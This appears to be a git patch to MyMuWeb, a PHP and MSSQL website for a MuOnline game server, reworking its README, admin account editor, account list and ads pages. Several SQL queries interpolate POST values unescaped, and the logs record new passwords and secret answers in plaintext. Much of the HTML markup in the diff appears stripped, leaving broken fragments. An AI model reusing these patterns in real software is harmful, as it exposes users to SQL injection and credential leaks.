From d99ee731f9a219bcd448dc33326d04eb3a446308 Mon Sep 17 00:00:00 2001 From: Ruslans Jermakovics Date: Wed, 19 Oct 2022 23:17:11 +0300 Subject: [PATCH 01/20] Init 0.9 --- .htaccess | 6 +- ADS.txt | 18 +- README.md | 42 + ReadMe.txt | 44 - admin.php | 139 +- admin/.htaccess | 10 +- admin/acc.php | 700 ++++++----- admin/acclist.php | 159 +-- admin/ads.php | 97 +- admin/assets/admin.css | 150 +++ admin/backup.mmw | 11 - admin/backup.php | 69 + admin/banip.php | 69 +- admin/char.php | 548 ++++---- admin/downloads.php | 287 +++-- admin/engine.php | 79 -- admin/findip.php | 321 ++--- admin/forum.php | 166 +-- admin/home.php | 26 +- admin/index.php | 193 +++ admin/logs.php | 77 +- admin/news.php | 313 ++--- admin/readlog.php | 27 + admin/rename.php | 114 +- admin/request.php | 42 +- admin/server.php | 366 +++--- admin/sqlquery.php | 143 +-- admin/votes.php | 352 +++--- chatbox.php | 182 +-- config.php | 290 +++-- decode.php | 51 - error.php | 16 +- image_verify.php | 60 - images/admin.css | 29 - images/captcha.php | 59 + images/char/RF.gif | Bin 0 -> 7740 bytes images/main/style.css | 96 +- images/mark.php | 57 + images/mmw-top-banner.png | Bin 0 -> 27956 bytes images/pop-close.PNG | Bin 215 -> 0 bytes images/pop-logo.PNG | Bin 438 -> 0 bytes images/pop-up.png | Bin 3088 -> 0 bytes includes/MuCastleData.dat | 7 +- includes/acc_menu.php | 72 +- includes/banned.php | 19 - includes/change_class.php | 29 - includes/character.class.php | 1119 ++++------------- includes/code.php | 8 + includes/comment.php | 333 +++-- includes/db_mmw.sql | 6 +- includes/engine.php | 788 +++--------- includes/format.php | 589 --------- includes/forum_catalog.php | 13 +- includes/func/img_resize.php | 38 - includes/functions.php | 991 +++++++++++++++ includes/menu.php | 25 + includes/mmw-func.php | 6 - includes/mmw_sql.php | 164 +++ includes/move.php | 22 - includes/mu_server_file.mmw | 4 + includes/pop_under.mmw | 4 + includes/popunder.mmw | 5 - includes/popunder.php | 35 - includes/server_file.mmw | 4 - includes/shout_msg.php | 105 +- includes/sql_check.php | 149 +-- includes/theme.mmw | 4 - includes/theme.php | 14 - includes/theme_functions.php | 607 +++++++++ includes/times.php | 136 +- includes/validate.class.php | 430 ------- includes/xss_check.php | 30 +- index.php | 133 +- install.php | 458 ++++--- lang/English.php | 730 +++++------ lang/Russian.php | 730 +++++------ logs.php | 28 - {gallery => media/gallery}/wallpaper-1.jpg | Bin .../gallery/wallpaper-1.php | 5 +- {gallery => media/gallery}/wallpaper-2.jpg | Bin .../gallery/wallpaper-2.php | 5 +- {gallery => media/gallery}/wallpaper-3.jpg | Bin .../gallery/wallpaper-3.php | 5 +- media/index.php | 42 - media/player.php | 76 +- media/player.swf | Bin 50498 -> 0 bytes media/playlist.xml | 27 - media/tagcloud.swf | Bin 38680 -> 0 bytes menu.php | 26 - modules/alliance.php | 103 +- modules/blocked.php | 82 +- modules/castlesiege.php | 342 ++--- modules/character.php | 284 +++-- modules/chat.php | 180 +-- modules/checkacc.php | 79 +- modules/downloads.php | 43 +- modules/forum.php | 343 +++-- modules/forum_full.php | 267 ++-- modules/gallery.php | 401 +++--- modules/guild.php | 162 ++- modules/info.html | 76 ++ modules/info.php | 68 - modules/login.php | 54 +- modules/lostpass.php | 153 +-- modules/news.php | 146 ++- modules/news_full.php | 58 +- modules/profile.php | 233 ++-- modules/rankings.php | 129 +- modules/rankings/3d_online.php | 53 - modules/rankings/character.php | 131 +- modules/rankings/gens.php | 90 ++ modules/rankings/guild.php | 92 +- modules/rankings/online.php | 101 +- modules/rankings/pk.php | 107 +- modules/rankings/search_acc.php | 95 +- modules/rankings/search_char.php | 93 +- modules/rankings/search_guild.php | 98 +- modules/register.php | 355 ++++-- modules/search.php | 60 +- modules/statistics.php | 258 ++-- modules/user.php | 44 +- modules/user/acc.php | 643 +++++++--- modules/user/char.php | 496 +++++--- modules/user/gm.php | 354 ++++-- modules/user/mail.php | 305 +++-- modules/user/wh.php | 255 ++-- popunder.txt | 8 +- scripts/functions.js | 300 +++-- scripts/swfobject.js | 133 -- scripts/textfader.js | 167 +-- scripts/timejs.js | 173 ++- scripts/votebox.js | 92 -- themes/default/footer.php | 51 +- themes/default/header.php | 384 +++--- themes/default/img/background.png | Bin 104037 -> 57201 bytes themes/default/img/button.png | Bin 0 -> 2563 bytes themes/default/img/button_hover.png | Bin 0 -> 3035 bytes themes/default/img/logo.png | Bin 170520 -> 183895 bytes themes/default/img/logo.psd | Bin 1021884 -> 1040348 bytes themes/default/img/up_left.png | Bin 8173 -> 10881 bytes themes/default/img/up_right.png | Bin 8095 -> 10779 bytes themes/default/info.php | 31 +- themes/default/style.css | 433 ++++++- 143 files changed, 12158 insertions(+), 9876 deletions(-) create mode 100644 README.md delete mode 100644 ReadMe.txt create mode 100644 admin/assets/admin.css delete mode 100644 admin/backup.mmw create mode 100644 admin/backup.php delete mode 100644 admin/engine.php create mode 100644 admin/index.php create mode 100644 admin/readlog.php delete mode 100644 decode.php delete mode 100644 image_verify.php delete mode 100644 images/admin.css create mode 100644 images/captcha.php create mode 100644 images/char/RF.gif create mode 100644 images/mark.php create mode 100644 images/mmw-top-banner.png delete mode 100644 images/pop-close.PNG delete mode 100644 images/pop-logo.PNG delete mode 100644 images/pop-up.png delete mode 100644 includes/banned.php delete mode 100644 includes/change_class.php create mode 100644 includes/code.php delete mode 100644 includes/format.php delete mode 100644 includes/func/img_resize.php create mode 100644 includes/functions.php create mode 100644 includes/menu.php delete mode 100644 includes/mmw-func.php create mode 100644 includes/mmw_sql.php delete mode 100644 includes/move.php create mode 100644 includes/mu_server_file.mmw create mode 100644 includes/pop_under.mmw delete mode 100644 includes/popunder.mmw delete mode 100644 includes/popunder.php delete mode 100644 includes/server_file.mmw delete mode 100644 includes/theme.mmw delete mode 100644 includes/theme.php create mode 100644 includes/theme_functions.php delete mode 100644 includes/validate.class.php delete mode 100644 logs.php rename {gallery => media/gallery}/wallpaper-1.jpg (100%) rename gallery/wallpaper-1.dat => media/gallery/wallpaper-1.php (88%) rename {gallery => media/gallery}/wallpaper-2.jpg (100%) rename gallery/wallpaper-2.dat => media/gallery/wallpaper-2.php (88%) rename {gallery => media/gallery}/wallpaper-3.jpg (100%) rename gallery/wallpaper-3.dat => media/gallery/wallpaper-3.php (88%) delete mode 100644 media/index.php delete mode 100644 media/player.swf delete mode 100644 media/playlist.xml delete mode 100644 media/tagcloud.swf delete mode 100644 menu.php create mode 100644 modules/info.html delete mode 100644 modules/info.php delete mode 100644 modules/rankings/3d_online.php create mode 100644 modules/rankings/gens.php delete mode 100644 scripts/swfobject.js delete mode 100644 scripts/votebox.js create mode 100644 themes/default/img/button.png create mode 100644 themes/default/img/button_hover.png diff --git a/.htaccess b/.htaccess index 322c573..f848959 100644 --- a/.htaccess +++ b/.htaccess @@ -14,13 +14,13 @@ # Max File Upload / Session Security php_value upload_max_filesize 100M - php_value post_max_size 100M + php_value post_max_size 16M php_flag register_globals off php_flag session.use_trans_sid off php_flag session.use_cookies on # Config Security - Order deny,allow - deny from all + Order deny,allow + Deny from all \ No newline at end of file diff --git a/ADS.txt b/ADS.txt index 4d25ec4..2110969 100644 --- a/ADS.txt +++ b/ADS.txt @@ -1,16 +1,12 @@ -
-Top.MyMuWeb.Ru
-MyMuWeb Support
-RedAngel MuOnline
-Podriv Project
-
- - -
\ No newline at end of file + MyMuWeb Support
+ X-MU Community
+ Mu Online Fanz
+ Podriv Project
+ TFU.LV
+ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..419d994 --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +# MuOnline Open Source WebSite + + Name: MyMuWeb + Created: 2009-03-17 + Repository: https://github.com/Vaflan/MyMuWeb + Author: Ruslans Jermakovics + Contact: https://github.com/Vaflan + + +## Instruction +********************************************************************* +The first step, you need PHP settings: +* On Windows system ~ C:\WINDOWS\php.ini +* On Linux system ~ /etc/php/phpX.X/php.ini + + + extension = php_mssql.dll + mssql.secure_connection = On + +********************************************************************* +The second step, add library if database uses MD5 +* Copy 'WZ_MD5_MOD.dll' from project, to Microsoft SQL 'Server\MSSQL\Binn\' +********************************************************************* +The third step is to change socks +* Change `config.php` and replace 'IP Address', 'Login', 'Password', 'DataBase' +* Open installation http://localhost/install.php +********************************************************************* + + +## FAQ +* How to add functions? + * add `someFunction.php` to 'includes/func/' folder. +* How to add Mp3 to Player? + * add `song.mp3` to 'media/' folder. +* How to add new language? + * add `language_name.php` to 'lang/' folder. +* How to add Theme? + * extract `theme.zip` to 'themes/' folder and change in config.php `$mmw['theme']`. +********************************************************************* + + +### Thanks for using MyMuWeb by Vaflan! \ No newline at end of file diff --git a/ReadMe.txt b/ReadMe.txt deleted file mode 100644 index 65a3ab6..0000000 --- a/ReadMe.txt +++ /dev/null @@ -1,44 +0,0 @@ -#################################### -# MyMuWeb ReadMe # -# Thank For use MyMuWeb by Vaflan. # -# http://www.mymuweb.ru/ # -# vaflancher@inbox.lv # -#################################### - - -********************************************************************* -Update AppServer, Opne File: C:\WINDOWS\php.ini -You need 576 cols - ;extension=php_mssql.dll - delete simbel ';'. -And 942 cols - mssql.secure_connection = Off - 'Îff' change to 'În'. -********************************************************************* -Update MSSQL, Copy File 'WZ_MD5_MOD.dll' -To: Microsoft SQL 'Server\MSSQL\Binn\' -********************************************************************* -Change config.php, Open 'config.php' -Change: 'IP Address', 'Login', 'Password', 'DataBase' -********************************************************************* -Export DataBase, Open Browser: -http://127.0.0.1/install.php -********************************************************************* - - -!-------------------------------------------------------------------! -To Create Admin Need: -Register in web, and in MEMB_INFO table with your name, -change 'mmw_stats' Colums - '0' to '10'. (0: Member, 5: GM, 10: Admin) -Admin Username = Your Login in Reg WebSite -Admin Password = Your Password in Reg WebSite -Admin SecurityCode = '4321' - -How to add Functions? -add functions.php to 'includes/func/' folder. - -How to add Mp3 to Player? -add all need mp3 to 'media/' folder. - -How to add Language? -add language_name.php to 'lang/' folder. - -How to add Theme? -add folder to 'themes/', and change in config.php $mmw[theme]. -!--------------------------------------------------------------------! \ No newline at end of file diff --git a/admin.php b/admin.php index 2cd7867..3b365cc 100644 --- a/admin.php +++ b/admin.php @@ -1,132 +1,7 @@ -".urldecode('http://'.$_SERVER["SERVER_ADDR"].$_SERVER["REQUEST_URI"]).""); -} - -if(is_file("themes/$mmw[theme]/admin.css")) {$css = "themes/$mmw[theme]/admin.css";} -else {$css = "images/admin.css";} -?> - - - MyMuWeb Administrator - - - - - -
- - - - - - - - - - - - -
- -
-Home | -SQL Query | -Back Up | -Server | -News | -Downloads | -Votes | -Forum | -ADS | -Request
-Rename Character | -Search Character | -Search Account | -Account List | -Ban IP | -Find IP | -Logs
-
- -
- - -

 

- - - - -
Welcome
- - - - -
- - - - - - - - - - - - - - - - - -
Admin Account
Admin Password
Admin SecurityCode
-
- - -
MyMuWeb . Design and PHP+SQL by Vaflan. -
- - \ No newline at end of file +/!\ Access Denied!'); +} // Account Editor -if(isset($_POST["edit_account_done"])) { - $post_account = $_POST['account']; - $post_pwd = $_POST['new_pwd']; - $post_mode = $_POST['mode']; - $post_email = $_POST['email']; - $post_squestion = $_POST['squestion']; - $post_sanswer = $_POST['sanswer']; - $post_unblock_time = $_POST['unblock_time']; - $post_block_date = $_POST['block_date']; - $post_block_reason = $_POST['block_reason']; - $post_admin_level = $_POST['admin_level']; +if (isset($_POST['edit_account_done'])) { + $post_account = stripslashes($_POST['edit_account_done']); + $post_pwd = $_POST['new_pwd']; + $post_mode = intval($_POST['mode']); + $post_email = $_POST['email']; + $post_secret_question = stripslashes($_POST['secret_question']); + $post_secret_answer = stripslashes($_POST['secret_answer']); + $post_unblock_time = intval($_POST['unblock_time']); + $post_block_date = $_POST['block_date']; + $post_block_reason = stripslashes($_POST['block_reason']); + $post_admin_level = intval($_POST['admin_level']); + + $online_check = mssql_fetch_row(mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$post_account}'")); + if (empty($post_account) || empty($post_email) || empty($post_secret_question) || empty($post_secret_answer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($online_check[0] != 0) { + echo $mmw['warning']['red'] . 'Error: Account ' . $post_account . ' must be offline!
Go Back.'; + } else { + $new_pass = $block_menu = ''; + if (!empty($post_unblock_time)) { + $block_menu .= "[unblock_time]={$post_unblock_time},"; + } + if ($post_block_date !== 'no') { + $post_block_date = ($post_block_date === 'yes') + ? time() + : 0; + $block_menu .= "[block_date]='{$post_block_date}',[blocked_by]='{$_SESSION['admin']['account']}',"; + } + $block_menu .= "[block_reason]='{$post_block_reason}',"; - $sql_account_check = mssql_query("SELECT memb___id FROM memb_info WHERE memb___id='$post_account'"); - $online_check = mssql_fetch_row( mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$post_account'") ); - if(empty($post_account) || empty($post_email) || empty($post_squestion) || empty($post_sanswer)) {echo " Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($sql_account_check) <= 0) {echo "$warning_red Error: Account $post_account Doesn't Exist!
Go Back."; } - elseif($online_check[0] != 0) {echo "$warning_red Error: Account $post_account Must Be Logged Off!
Go Back."; } - else { - if(!empty($post_unblock_time)) {$block_menu = "[unblock_time]='$post_unblock_time',";} - if($post_block_date!="no") { - if($post_block_date=='yes') {$post_block_date = time();} - else {$post_block_date = '0';} - $block_menu = $block_menu . "[block_date]='$post_block_date',"; - } - $block_menu = $block_menu . "[blocked_by]='$_SESSION[a_admin_login]',[block_reason]='$post_block_reason',"; - if(!empty($post_pwd) && $post_pwd!=' ') { - if($mmw['md5']==yes) {$new_pass = "[memb__pwd2]='$post_pwd',[memb__pwd]=[dbo].[fn_md5]('$post_pwd','$post_account'),";} - if($mmw['md5']==no) {$new_pass = "[memb__pwd2]='$post_pwd',[memb__pwd]='$post_pwd',";} - } + if (!empty($post_pwd)) { + $new_pass = ($mmw['md5']) + ? "[memb__pwd] = [dbo].[fn_md5]('{$post_pwd}', '{$post_account}')," + : "[memb__pwd] = '{$post_pwd}',"; + } - mssql_query("UPDATE memb_info SET $new_pass $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[mmw_status]='$post_admin_level' WHERE memb___id='$post_account'"); - echo "$warning_green Account $post_account SuccessFully Edited!"; - writelog("edit_acc","Account $_POST[account] Has Been Edited with the next->New Password:$_POST[new_pwd]|E-mail:$_POST[email]|Secret Question:$_POST[squestion]|Secret Answer:$_POST[sanswer]|Admin Level:$_POST[admin_level]"); - } + mssql_query("UPDATE dbo.MEMB_INFO SET $new_pass $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_secret_question',[fpas_answ]='$post_secret_answer',[mmw_status]='$post_admin_level' WHERE memb___id='{$post_account}'"); + echo $mmw['warning']['green'] . 'Account ' . $post_account . ' SuccessFully Edited!'; + writelog('edit_acc', "Account {$_POST['account']} Has Been Edited with the next->New Password:$_POST[new_pwd]|E-mail:$_POST[email]|Secret Question:$_POST[secret_question]|Secret Answer:$_POST[secret_answer]|Admin Level:$_POST[admin_level]"); + } } -if(isset($_POST["edit_acc_wh_done"])) { - $post_account = $_POST['account']; - $post_warehouse = $_POST['wh']; - $post_extwarehouse = $_POST['extrawh']; +if (isset($_POST['edit_acc_wh_done'])) { + $post_account = stripslashes($_POST['edit_acc_wh_done']); + $post_warehouse = preg_replace('/[^\d]+/', '', $_POST['wh']); + $post_ext_warehouse = preg_replace('/[^\d]+/', '', $_POST['extrawh']); - $sql_account_check = mssql_query("SELECT memb___id FROM memb_info WHERE memb___id='$post_account'"); - if(empty($post_account) || $post_warehouse<0 || $post_extwarehouse<0) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($sql_account_check) <= 0) {echo "$warning_red Error: Account $post_account Doesn't Exist!
Go Back."; } - else { - mssql_query("UPDATE warehouse SET [Money]='$post_warehouse',[extMoney]='$post_extwarehouse' WHERE AccountID='$post_account'"); - echo "$warning_green Acc Ware House $post_account SuccessFully Edited!"; - writelog("a_edit_acc_wh","Account $post_account Has Been Edited with the next-> Extra WH: $post_extwarehouse | WH: $post_warehouse"); - } + if (empty($post_account) || $post_warehouse < 0 || $post_ext_warehouse < 0) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.warehouse SET [Money]={$post_warehouse},[extMoney]={$post_ext_warehouse} WHERE AccountID='{$post_account}'"); + echo $mmw['warning']['green'] . 'Acc Ware House ' . $post_account . ' SuccessFully Edited!'; + writelog('a_edit_acc_wh', 'Account ' . $post_account . ' Has Been Edited with the next-> Extra WH: ' . $post_ext_warehouse . ' | WH: ' . $post_warehouse); + } } -?> - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-Blocked";} - elseif($get_account_done[3] == 0){$mode = "";} - if($get_account_done[1] == NULL){$get_account_done[1] = "
Error #111
";} - if($get_account_done[4] == NULL){$get_account_done[4] = "
Error #112
";} - if($get_account_done[5] == NULL){$get_account_done[5] = "
Error #113
";} - if($get_account_done[9] == NULL){$get_account_done[9] = "
Error #114
";} + $mode = ''; + if ($get_account_done[3] == 1) { + $mode = ''; + } - $get_wh = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$account_edit'"); - $get_acc_wh = mssql_fetch_row($get_wh); - $get_acc_wh_num = mssql_num_rows($get_wh); - if($get_acc_wh[1]==""){$get_acc_wh[1] = 0;} - if($get_acc_wh[2]==""){$get_acc_wh[2] = 0;} + if ($get_account_done[1] === null) { + $get_account_done[1] = 'Error #111'; + } + if ($get_account_done[4] === null) { + $get_account_done[4] = 'Error #112'; + } + if ($get_account_done[5] === null) { + $get_account_done[5] = 'Error #113'; + } + if ($get_account_done[9] === null) { + $get_account_done[9] = 'Error #114'; + } - if($get_account_done[5]=='male'){$gender = 'Male';} else{$gender = 'Female';} - if($get_account_done[14] >= 0){$admin_level[$get_account_done[14]] = "selected";} else{$admin_level[0] = "selected";} + $get_wh = mssql_query("SELECT AccountID,Money,extMoney FROM dbo.warehouse WHERE accountid='{$account_edit}'"); + $get_acc_wh = mssql_fetch_row($get_wh); + $get_acc_wh_num = mssql_num_rows($get_wh); + if (empty($get_acc_wh[1])) { + $get_acc_wh[1] = 0; + } + if (empty($get_acc_wh[2])) { + $get_acc_wh[2] = 0; + } - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$account_edit'"); - $oc_row = mssql_fetch_row($online_check); + if ($get_account_done[5] === 'male') { + $gender = 'Male'; + } elseif ($get_account_done[5] === 'female') { + $gender = 'Female'; + } - $get_chr = mssql_query("SELECT GameID1,GameID2,GameID3,GameID4,GameID5,GameIDC FROM AccountCharacter WHERE Id='$account_edit'"); - $get_acc_chr = mssql_fetch_row($get_chr); - $online_stats = "Online"; - $offline_stats = "Offline"; - if($get_acc_chr[0]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[0] = $online_stats;}else{$get_acc_chr_online[0] = $offline_stats;} - if($get_acc_chr[1]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[1] = $online_stats;}else{$get_acc_chr_online[1] = $offline_stats;} - if($get_acc_chr[2]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[2] = $online_stats;}else{$get_acc_chr_online[2] = $offline_stats;} - if($get_acc_chr[3]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[3] = $online_stats;}else{$get_acc_chr_online[3] = $offline_stats;} - if($get_acc_chr[4]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[4] = $online_stats;}else{$get_acc_chr_online[4] = $offline_stats;} + $get_chr = mssql_query("SELECT GameID1,GameID2,GameID3,GameID4,GameID5,GameIDC FROM dbo.AccountCharacter WHERE Id='{$account_edit}'"); + $get_acc_chr = mssql_fetch_row($get_chr); + $online_stats = 'Online'; + $offline_stats = 'Offline'; - if(empty($get_acc_chr[0]) || $get_acc_chr[0]==" ") {$get_acc_chr[0] = "No Char";} else{$get_acc_chr[0] = "$get_acc_chr[0]";} - if(empty($get_acc_chr[1]) || $get_acc_chr[1]==" ") {$get_acc_chr[1] = "No Char";} else{$get_acc_chr[1] = "$get_acc_chr[1]";} - if(empty($get_acc_chr[2]) || $get_acc_chr[2]==" ") {$get_acc_chr[2] = "No Char";} else{$get_acc_chr[2] = "$get_acc_chr[2]";} - if(empty($get_acc_chr[3]) || $get_acc_chr[3]==" ") {$get_acc_chr[3] = "No Char";} else{$get_acc_chr[3] = "$get_acc_chr[3]";} - if(empty($get_acc_chr[4]) || $get_acc_chr[4]==" ") {$get_acc_chr[4] = "No Char";} else{$get_acc_chr[4] = "$get_acc_chr[4]";} + for ($index = 0; $index < 5; $index++) { + $get_acc_chr[$index] = trim($get_acc_chr[$index]); + $get_acc_chr_online[$index] = ($get_acc_chr[$index] == $get_acc_chr[5] && $get_account_done['ConnectStat']) + ? $online_stats + : $offline_stats; - foreach($mmw[status_rules] as $key => $value) { - $mmw_status_list .= ""; - } -?> - Account -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Account
Name
Password
New PasswordChange
Mode
By To
Block Time
Block Date
Blockec By
Block Reason
E-mail address
Secret Question
Secret Answer
Country
Gender
Admin Level
-
-
-
-
- 0) {?> - Ware House -
+ $get_acc_chr[$index] = !empty($get_acc_chr[$index]) + ? "$get_acc_chr[$index]" + : '_ _ _'; + } + ?> +
+ Account + - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Ware House
Extra Ware House
Account
Name
Application day
New Password + + + +
Mode
+ From + + to + Forever
Block Time + +
Block Date + +
Blocked By
Block Reason + +
E-mail address + +
Secret Question + +
Secret Answer + +
Country
Gender
Admin Level + +
+ + +
+ +
+ 0) : ?> +
+ Ware House +
+ + + + + + + + + + + + +
Ware House +
Extra Ware House
+ + + +
-
-
- - Character's - - - - - - - - - - - - - - - -
-
-
-
- + +
+ Character's + + + + + + + + + + + + + + + +
+
+ + +
Search Account -
+ - - - - - - - - - - - + + + + + + + + + + +
Account
Search type - -
- -
Account + +
Search type + +
+ +
+ +
-
-
-
-
- Search Account Results - - - - - - - - - - - - + -if($_POST['search_type']==0){$result = mssql_query("SELECT memb___id,memb__pwd,bloc_code,country,gender from MEMB_INFO where memb___id='$search'");} -if($_POST['search_type']==1){$result = mssql_query("SELECT memb___id,memb__pwd,bloc_code,country,gender from MEMB_INFO where memb___id like '%$search%'");} + +
+ Search Account Results -for($i=0;$i < mssql_num_rows($result);++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; +
#AccountModeCountryGenderStatusEdit
+ + + + + + + + + + + + ';} - if($status[0] == 1){$status[0] ='';} + $rank = 1; + while ($row = mssql_fetch_row($result)) { + if ($row[5] == 0) { + $status = 'offline'; + } + if ($row[5] == 1) { + $status = 'online'; + } + if ($row[5] === null) { + $status = 'death'; + } - if($row[2] == 0){$row[2] ='Normal';} - if($row[2] == 1){$row[2] ="
#AccountModeCountryGenderStatusEdit
Blocked
";} + if ($row[2] == 0) { + $row[2] = 'Normal'; + } + if ($row[2] == 1) { + $row[2] = 'Blocked'; + } - if($row[4] == 'male'){$row[4] = "";} - elseif($row[4] == 'female'){$row[4] = "";} - elseif($row[4] == NULL){$row[4] = "
Error #113
";} - if($row[3] == NULL){$row[3] = "
Error #112
";} - if($row[1] == NuLL){$row[1] = "
Error #111
";} + if ($row[4] === 'male') { + $row[4] = 'male'; + } elseif ($row[4] === 'female') { + $row[4] = 'female'; + } elseif ($row[4] === null) { + $row[4] = 'Error #113'; + } - if($row[3] == '0'){$country = "Not Set";} else{$country = country($row[3]);} + if ($row[3] === null) { + $row[3] = 'Error #112'; + } + if ($row[1] === null) { + $row[1] = 'Error #111'; + } - $account_table_edit = "
"; -?> -
.
+ if ($row[3] == '0') { + $country = 'Not Set'; + } else { + $country = country($row[3]); + } + ?> + + . + > + + + + + +
+ + + +
+ + + + - - - - - \ No newline at end of file + + \ No newline at end of file diff --git a/admin/acclist.php b/admin/acclist.php index 9e2038a..51a2451 100644 --- a/admin/acclist.php +++ b/admin/acclist.php @@ -1,81 +1,98 @@ -/!\ Access Denied!'); +} // Account List + Delete not connected... -if(isset($_POST["delete_acc"])) { - $account = $_POST["delete_acc"]; - if(empty($account)) { - echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - $sql_online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$account'"); - $check_connect = mssql_num_rows($sql_online_check); - if($check_connect==0) { - mssql_query("Delete from MEMB_INFO where memb___id='$account'"); - mssql_query("Delete from VI_CURR_INFO where memb___id='$account'"); - mssql_query("Delete from warehouse where AccountID='$account'"); +if (isset($_POST['delete_acc'])) { + $account = $_POST['delete_acc']; + if (empty($account)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + $query = mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$account}'"); + $checkPlayed = mssql_num_rows($query); + if ($checkPlayed === 0) { + mssql_query("DELETE FROM dbo.MEMB_INFO WHERE memb___id='{$account}'"); + mssql_query("DELETE FROM dbo.warehouse WHERE AccountID='{$account}'"); - echo "$warning_green Account $account SuccessFully Deleted!"; - writelog("a_del_acc","Account $account Has Been Deleted"); - } - else { - echo "$warning_red Account Has Been connected!"; - } - } + echo $mmw['warning']['green'] . 'Account ' . $account . ' SuccessFully Deleted!'; + writelog('a_del_acc', 'Account ' . $account . ' Has Been Deleted'); + } else { + echo $mmw['warning']['red'] . 'Account Has Been connected!'; + } + } } ?> +
+ Account List - - - - - - - - - - - - - -
-
- Account List - - - - - - - - - - - - - + + + + + + + + + + + + + Blocked'; + } + if ($row[1] === null) { + $mode = 'Error #111'; + } - if($status[0] == 0){ $status[0] ='';} - if($status[0] == 1){ $status[0] ='';} - if($status_check == 0){ $status[0] ='';} - if($row[1] == 0){$row[1] ='Normal';} - if($row[1] == 1){$row[1] ="
#AccountModeReg DateLogin DateCharStatusDelete
#AccountModeReg DateLogin DateCharsStatusDelete
Blocked
";} - if($row[1] == NuLL){$row[1] = "
Error #111
";} - if($row[2] == NULL){$row[2] = "
Error #112
";} - $rank = $i+1; + if ($row[2] === null) { + $row[2] = 'Error #112'; + } - $acctinfo = mssql_query("Select Name from Character where AccountID='$row[0]'"); - $char_numb = mssql_num_rows($acctinfo); + $status = 'Error #113'; + if ($row[3] == 0) { + $status = 'offline'; + } + if ($row[3] == 1) { + $status = 'online'; + } + if ($row[3] === null) { + $status = 'death'; + } - $table_delete = "
"; -?> -
.>
+ $char_numb = mssql_num_rows(mssql_query("SELECT Name FROM dbo.Character WHERE AccountID='{$row[0]}'")); + ?> + + . + > + + + + + + +
+ +
+ + + + -
- - - \ No newline at end of file + \ No newline at end of file diff --git a/admin/ads.php b/admin/ads.php index b215b33..d6019b6 100644 --- a/admin/ads.php +++ b/admin/ads.php @@ -1,68 +1,45 @@ -/!\ Access Denied!'); +} // ADS and PopUnder in Web -$ads_file = 'ads.txt'; -$popunder_file = 'popunder.txt'; - -if(isset($_POST[ads])) { - $new_db = stripslashes($_POST[ads]); - $fp = fopen($ads_file,"w"); - fputs($fp, $new_db); - fclose($fp); - echo "$warning_green ADS SuccessFully Edited!"; +$adsFile = '../ADS.txt'; +$popUnderFile = '../PopUnder.txt'; - $log_dat = "ADS Has Been Edited Author: $_SESSION[a_admin_login]"; - writelog("a_ads",$log_dat); +if (isset($_POST['ads'])) { + if (file_put_contents($adsFile, $_POST['ads'])) { + echo $mmw['warning']['green'] . 'ADS SuccessFully Edited!'; + writelog('a_ads', 'ADS Has Been Edited Author: ' . $_SESSION['admin']['account']); + } else { + echo $mmw['warning']['red'] . 'ADS fail Edited!'; + } } -if(isset($_POST[popunder])) { - $new_db = stripslashes($_POST[popunder]); - $fp = fopen($popunder_file,"w"); - fputs($fp, $new_db); - fclose($fp); - echo "$warning_green PopUnder SuccessFully Edited!"; - $log_dat = "PopUnder Has Been Edited Author: $_SESSION[a_admin_login]"; - writelog("a_ads",$log_dat); +if (isset($_POST['popunder'])) { + if (file_put_contents($popUnderFile, $_POST['popunder'])) { + echo $mmw['warning']['green'] . 'PopUnder SuccessFully Edited!'; + writelog('a_ads', 'PopUnder Has Been Edited Author: ' . $_SESSION['admin']['account']); + } else { + echo $mmw['warning']['red'] . 'PopUnder fail Edited!'; + } } -$popunder_size = @filesize($popunder_file); -if($popunder_size > 0) { - $popunder_open = @fopen($popunder_file,'r'); - $popunder_read = @fread($popunder_open,$popunder_size); - @fclose($popunder_open); -} -$ads_size = @filesize($ads_file); -if($ads_size > 0) { - $ads_open = @fopen($ads_file,'r'); - $ads_read = @fread($ads_open,$ads_size); - @fclose($ads_open); -} +$popUnderRead = str_replace(array('&', '<'), array('&', '<'), @file_get_contents($popUnderFile)); +$adsRead = str_replace(array('&', '<'), array('&', '<'), @file_get_contents($adsFile)); ?> - - - - - - - -
-
- ADS -
-
-
- -
-
-
-
-
- PopUnder -
-
-
- -
-
-
-
\ No newline at end of file +
+ +
+
+ + +
+
+
+ +
+
+ + +
+
